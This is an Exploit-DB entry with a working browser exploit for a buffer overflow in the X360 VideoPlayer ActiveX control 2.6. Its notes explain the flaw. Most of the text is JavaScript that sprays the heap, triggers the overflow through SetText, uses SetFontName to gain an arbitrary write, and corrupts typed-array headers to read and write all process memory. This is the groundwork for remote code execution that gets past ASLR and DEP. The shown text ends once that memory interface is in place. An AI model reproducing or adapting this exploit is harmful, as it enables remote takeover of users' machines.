Exploit-DB #35948
Description: X360 VideoPlayer ActiveX Control 2.6 - ASLR + DEP Bypass
Type: remote
Platform: windows
Date: 2015-01-30
Author: Rh0

Exploit:
<!DOCTYPE HTML>

<!--


###############################################################################
*
* Exploit Title: X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass
* Author: Rh0
* Date: Jan 30 2015
* Affected Software: X360 VideoPlayer ActiveX Control 2.6 (VideoPlayer.ocx)
* Vulnerability: Buffer Overflow in Data Section
* Tested on: Internet Explorer 10 32-bit (Windows 7 64-bit in VirtualBox)
* Software Links:
  http://www.x360soft.com/demo/videoplayersetup.exe
  http://download.cnet.com/X360-Video-Player-ActiveX-Control/3000-2170_4-10581185.html

* Detailed writeup: https://rh0dev.github.io/blog/2015/fun-with-info-leaks/
*
###############################################################################


* Information about VideoPlayer.ocx *
###################################

md5sum: f9f2d32ae0e4d7b5c19692d0753451fb

Class VideoPlayer
GUID: {4B3476C6-185A-4D19-BB09-718B565FA67B}
Number of Interfaces: 1
Default Interface: _DVideoPlayer
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False

* NOTES *
#########

*) When passing an overlong string to the ActiveX object's "SetText" method, a
buffer overflow in the data section occurs. It allows overwriting a subsequent
pointer that can be used in a controlled memcpy when dispatching the object's
"SetFontName" method. With this arbitrary write, array structures can be
manipulated to gain access to complete process memory. Equipped with this
capability, necessary information can be leaked and manipulated to execute
arbitrary code remotely.
*) Comment in the alert messages to see some leaks ;)
*) This is PoC Code: If it does not work for you, clear IE's history and try
again. Tested against mshtml.dll and jscript9.dll version 10.0.9200.17183


*) Inspired by:
"http://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/"
"http://ifsec.blogspot.de/2013/11/exploiting-internet-explorer-11-64-bit.html"
"https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf"
"https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf"
"https://github.com/exp-sky/HitCon-2014-IE-11-0day-Windows-8.1-Exploit/blob/master/IE 11 0day & Windows 8.1 Exploit.pdf"

-->

<html>
<body>
<button onclick=run()>runme</button>
<script>
function run(){
    /* VideoPlayer.ocx image has the rebase flag set =>
       It's mapped to another base per process run */
    /* create its vulnerable ActiveX object (as HTMLObjectElement) */
    var obj = document.createElement("object");
    obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");

    /* amount of arrays to create on the heap */
    nrArrays = 0x1000

    /* size of data in one array block: 0xefe0 bytes =>
       subract array header (0x20) and space for typed array headers (0x1000)
       from 0x10000 */
    arrSize =  (0x10000-0x20-0x1000)/4

    /* heap array container will hold our heap sprayed data */
    arr = new Array(nrArrays)

    /* use one buffer for all typed arrays */
    intArrBuf = new ArrayBuffer(4)
    
    /* spray the heap with array data blocks and subsequent typed array headers
       of type Uint32Array */
    k = 0
    while(k < nrArrays){
        /* create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
           aligned at 0xXXXX0020) */
        arr[k] = new Array(arrSize);
        /* fill remaining page (0x1000) after array data with headers of
           "jscript9!Js::TypedArray<unsigned int>"  (0x55 * 0x30 = 0xff0) as a
           typed array header has the size of 0x30. 0x10 bytes are left empty */
        for(var i= 0; i<0x55; i++){
            /* headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,.. */
            arr[k][i] = new Uint32Array(intArrBuf, 0, 1);
        }
        /* tag the array's last element */
        arr[k][arrSize - 1] = 0x12121212
        k += 1;
    }

    /* perform controlled memwrite to 0x1111f010: typed array header is at
       0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
       0x00000001 0x00000004 0x00000040 0x1111f030 0x00
       The first 3 dwords are sideeffects due to the code we abuse for the
       controlled memcpy */
    addr = 0x1111f010  // WHERE TO WRITE
    /* prepare buffer with address we want to write to */
    ptrBuf = ""
    /* fill buffer: length = relative pointer address - buffer start + pointer
       offset */
    while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
    ptrBuf += dword2str(addr)

    /* trigger: overflow buffer and overwrite the pointer value after buffer */
    obj.SetText(ptrBuf,0,0)
    //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")

    /* use overwritten pointer after buffer with method "SetFontName" to conduct
       memory write.  We overwrite a typed array's header length to 0x40 and let
       its buffer point to the next typed array header at 0x1111f030 (see above)
       */
    obj.SetFontName(dword2str(addr+0x20)) // WHAT TO WRITE

    /* find the corrupted Uint32Array (typed array) */
    k = 0
    arrCorrupt = 0
    while(k < 0x1000-1){
        for(var i = 0; i < 0x55-1; i++){
            if(arr[k][i][0] != 0){
                // address of jscript9!Js::TypedArray<unsigned int>::`vftable'
                //alert("0x" + arr[k][i][0].toString(16))
                arrCorrupt = 1
                break
            }
        }
        if (arrCorrupt == 1) break
        k++
    }

    if (!arrCorrupt){
        alert("cannot find corrupted Uint32Array")
        return -1
    }

    /* modify subsequent Uint32Array to be able to RW all process memory */
    arr[k][i][6] = 0x7fffffff // next Uint32Array length
    arr[k][i][7] = 0 // set buffer of next Uint32Array to start of process mem

    /* our memory READWRITE interface :) */
    mem = arr[k][i+1]